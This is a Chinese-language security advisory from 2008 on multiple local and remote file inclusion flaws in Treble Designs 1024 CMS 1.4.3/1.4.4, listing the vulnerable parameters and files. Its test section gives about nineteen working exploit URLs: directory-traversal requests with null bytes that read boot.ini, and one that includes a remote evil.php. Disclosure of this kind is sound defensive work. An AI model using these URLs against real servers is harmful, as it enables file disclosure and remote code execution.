发布日期：2008-07-04
更新日期：2008-07-08

受影响系统：

Treble Designs 1024 CMS 1.4.4 RFC
Treble Designs 1024 CMS 1.4.3

描述：

---

BUGTRAQ  ID: 30091

1024是基于PHP和MySQL的内容管理系统。

1024 CMS中存在多个文件包含漏洞，允许恶意用户泄露敏感信息或入侵有漏洞的系统。

1) themes/blog/layouts/standard.php、themes/default/layouts/standard.php、themes/portfolio/layouts/standard.php和themes/snazzy/layouts/standard.php文件中没有正确地验证对page_include参数的输入便用于包含文件，这可能导致包含本地或外部资源的任意文件。成功攻击要求打开了register_globals。

2) 多个文件没有正确的验证对各种参数的输入便用于包含文件，这可能导致包含本地资源的任意文件。成功攻击要求禁用了magic_quotes_gpc。以下是受影响的参数和文件。

theme_dir和page参数：
themes/blog/layouts/standard.php
themes/default/layouts/standard.php
themes/portfolio/layouts/standard.php
themes/snazzy/layouts/standard.php
themes/blog/layouts/total.php
themes/default/layouts/total.php
themes/portfolio/layouts/total.php
themes/snazzy/layouts/total.php

lang参数：
admin/lang/fr/reports/default.php
lang/en/moderator/default.php
lang/fr/moderator/default.php
lang/de/moderator/default.php


admin_theme_dir参数：
admin/ops/admins/default.php
admin/ops/reports/ops/download.php
admin/ops/reports/ops/forum.php
admin/ops/reports/ops/news.php

theme_dir参数：
pages/download/default/ops/add.php
pages/download/default/ops/edit.php
pages/download/default/ops/newest.php
pages/download/default/ops/search.php
pages/download/default/ops/top.php
pages/forum/default/content.php
themes/blog/layouts/basic_footer.php
themes/default/layouts/basic_footer.php
themes/portfolio/layouts/basic_footer.php
themes/snazzy/layouts/basic_footer.php
themes/blog/layouts/basic_header.php
themes/default/layouts/basic_header.php
themes/portfolio/layouts/basic_header.php
themes/snazzy/layouts/basic_header.php

page、page_include和theme_dir参数：
themes/blog/layouts/print.php
themes/default/layouts/print.php
themes/portfolio/layouts/print.php
themes/snazzy/layouts/print.php

<*来源：Digital Security
  
  链接：http://marc.info/?l=bugtraq&m=121519055217560&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

http://www.example.com/[installdir]/themes/blog/layouts/standard.php?page_include=http://www.example.com/evil.php
http://www.example.com/[installdir]/themes/default/layouts/standard.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/themes/snazzy/layouts/standard.php?page=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/admin/lang/fr/reports/default.php?t=news&amp;lang=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/admin/ops/admins/default.php?admin_theme_dir=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/admin/ops/reports/ops/news.php?admin_theme_dir=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/lang/en/moderator/default.php?t=news&amp;lang=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/lang/fr/moderator/default.php?t=download&amp;lang=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/lang/de/moderator/default.php?t=forum&amp;lang=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/pages/download/default/ops/add.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/pages/download/default/ops/newest.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/pages/forum/default/content.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/themes/blog/layouts/basic_footer.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/themes/default/layouts/basic_header.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/themes/blog/layouts/print.php?page=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/themes/default/layouts/print.php?page_include=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/themes/portfolio/layouts/print.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/themes/default/layouts/total.php?theme_dir=../../../../../../../../../../../../../boot.ini%00
http://www.example.com/[installdir]/themes/snazzy/layouts/total.php?page=../../../../../../../../../../../../../boot.ini%00

建议：

---

厂商补丁：

Treble Designs
--------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.1024cms.com/

浏览次数：2778
严重程度：0（网友投票）